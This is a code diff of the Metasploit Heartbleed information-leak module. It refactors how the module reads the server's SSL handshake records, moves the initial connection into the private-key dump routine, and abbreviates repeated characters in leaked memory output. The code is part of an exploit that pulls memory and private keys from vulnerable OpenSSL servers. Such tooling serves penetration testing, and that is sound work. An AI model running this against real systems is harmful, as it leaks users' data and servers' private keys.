@@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
71
71
0x00ff # Unknown
72
72
]
73
73
74
+ SSL_RECORD_HEADER_SIZE = 0x05
74
75
HANDSHAKE_RECORD_TYPE = 0x16
75
76
HEARTBEAT_RECORD_TYPE = 0x18
76
77
ALERT_RECORD_TYPE = 0x15
@@ -79,7 +80,6 @@ class Metasploit3 < Msf::Auxiliary
79
80
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
80
81
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
81
82
82
-
83
83
TLS_VERSION = {
84
84
'SSLv3' => 0x0300 ,
85
85
'1.0' => 0x0301 ,
@@ -99,6 +99,10 @@ class Metasploit3 < Msf::Auxiliary
99
99
# See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252
100
100
SAFE_CHECK_MAX_RECORD_LENGTH = ( 1 << 14 )
101
101
102
+ # For verbose output, deduplicate repeated characters beyond this threshold
103
+ DEDUP_REPEATED_CHARS_THRESHOLD = 400
104
+
105
+
102
106
def initialize
103
107
super (
104
108
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak' ,
@@ -203,18 +207,14 @@ def run
203
207
204
208
# Main method
205
209
def run_host ( ip )
206
- # initial connect to get public key and stuff
207
- connect_result = establish_connect
208
- disconnect
209
- return if connect_result . nil?
210
210
211
211
case action . name
212
212
when 'SCAN'
213
213
loot_and_report ( bleed )
214
214
when 'DUMP'
215
215
loot_and_report ( bleed ) # Scan & Dump are similar, scan() records results
216
216
when 'KEYS'
217
- getkeys
217
+ get_keys
218
218
else
219
219
# Shouldn't get here, since Action is Enum
220
220
print_error ( "Unknown Action: #{ action . name } " )
@@ -424,20 +424,15 @@ def establish_connect
424
424
425
425
vprint_status ( "#{ peer } - Sending Client Hello..." )
426
426
sock . put ( client_hello )
427
- server_hello = get_data
428
- unless server_hello
429
- vprint_error ( "#{ peer } - No Server Hello after #{ response_timeout } seconds..." )
430
- return nil
431
- end
432
427
433
- server_resp_parsed = parse_ssl_record ( server_hello )
428
+ server_resp = get_server_hello
434
429
435
- if server_resp_parsed . nil?
430
+ if server_resp . nil?
436
431
vprint_error ( "#{ peer } - Server Hello Not Found" )
437
432
return nil
438
433
end
439
434
440
- server_resp_parsed
435
+ server_resp
441
436
end
442
437
443
438
# Generates a heartbeat request
@@ -455,7 +450,7 @@ def bleed
455
450
456
451
vprint_status ( "#{ peer } - Sending Heartbeat..." )
457
452
sock . put ( heartbeat_request ( heartbeat_length ) )
458
- hdr = get_data ( 5 )
453
+ hdr = get_data ( SSL_RECORD_HEADER_SIZE )
459
454
if hdr . nil? || hdr . empty?
460
455
vprint_error ( "#{ peer } - No Heartbeat response..." )
461
456
disconnect
@@ -533,16 +528,34 @@ def loot_and_report(heartbeat_data)
533
528
print_status ( "#{ peer } - Heartbeat data stored in #{ path } " )
534
529
end
535
530
536
- vprint_status ( "#{ peer } - Printable info leaked: #{ heartbeat_data . gsub ( /[^[:print:]]/ , '' ) } " )
531
+ # Convert non-printable characters to periods
532
+ printable_data = heartbeat_data . gsub ( /[^[:print:]]/ , '.' )
533
+
534
+ # Keep this many duplicates as padding around the deduplication message
535
+ duplicate_pad = ( DEDUP_REPEATED_CHARS_THRESHOLD / 3 ) . round
536
+
537
+ # Remove duplicate characters
538
+ abbreviated_data = printable_data . gsub ( /(.)\1 {#{ ( DEDUP_REPEATED_CHARS_THRESHOLD - 1 ) } ,}/ ) { |s |
539
+ s [ 0 , duplicate_pad ] +
540
+ ' repeated ' + ( s . length - ( 2 * duplicate_pad ) ) . to_s + ' times ' +
541
+ s [ -duplicate_pad , duplicate_pad ]
542
+ }
543
+
544
+ # Show abbreviated data
545
+ vprint_status ( "#{ peer } - Printable info leaked:\n #{ abbreviated_data } " )
537
546
538
547
end
539
548
540
549
#
541
- # Keydumoing helper methods
550
+ # Keydumping helper methods
542
551
#
543
552
544
553
# Tries to retreive the private key
545
- def getkeys
554
+ def get_keys
555
+ connect_result = establish_connect
556
+ disconnect
557
+ return if connect_result . nil?
558
+
546
559
print_status ( "#{ peer } - Scanning for private keys" )
547
560
count = 0
548
561
@@ -681,12 +694,33 @@ def client_hello
681
694
ssl_record ( HANDSHAKE_RECORD_TYPE , data )
682
695
end
683
696
684
- # Parse SSL header
685
- def parse_ssl_record ( data )
686
- ssl_records = [ ]
687
- remaining_data = data
697
+ def get_ssl_record
698
+ hdr = get_data ( SSL_RECORD_HEADER_SIZE )
699
+
700
+ unless hdr
701
+ vprint_error ( "#{ peer } - No SSL record header received after #{ response_timeout } seconds..." )
702
+ return nil
703
+ end
704
+
705
+ len = hdr . unpack ( 'Cnn' ) [ 2 ]
706
+ data = get_data ( len )
707
+
708
+ unless data
709
+ vprint_error ( "#{ peer } - No SSL record contents received after #{ response_timeout } seconds..." )
710
+ return nil
711
+ end
712
+
713
+ hdr << data
714
+ end
715
+
716
+ # Get and parse server hello response until we hit Server Hello Done or timeout
717
+ def get_server_hello
718
+ server_done = nil
688
719
ssl_record_counter = 0
689
- while remaining_data && remaining_data . length > 0
720
+
721
+ remaining_data = get_ssl_record
722
+
723
+ while remaining_data and remaining_data . length > 0
690
724
ssl_record_counter += 1
691
725
ssl_unpacked = remaining_data . unpack ( 'CH4n' )
692
726
return nil if ssl_unpacked . nil? or ssl_unpacked . length < 3
@@ -702,17 +736,19 @@ def parse_ssl_record(data)
702
736
else
703
737
ssl_data = remaining_data [ 5 , ssl_len ]
704
738
handshakes = parse_handshakes ( ssl_data )
705
- ssl_records << {
706
- :type => ssl_type ,
707
- :version => ssl_version ,
708
- :length => ssl_len ,
709
- :data => handshakes
710
- }
739
+
740
+ # Stop once we receive a SERVER_HELLO_DONE
741
+ if handshakes and handshakes . length > 0 and handshakes [ -1 ] [ :type ] == HANDSHAKE_SERVER_HELLO_DONE_TYPE
742
+ server_done = true
743
+ break
744
+ end
745
+
711
746
end
712
- remaining_data = remaining_data [ ( ssl_len + 5 ) ..-1 ]
747
+
748
+ remaining_data = get_ssl_record
713
749
end
714
750
715
- ssl_records
751
+ server_done
716
752
end
717
753
718
754
# Parse Handshake data returned from servers
0 commit comments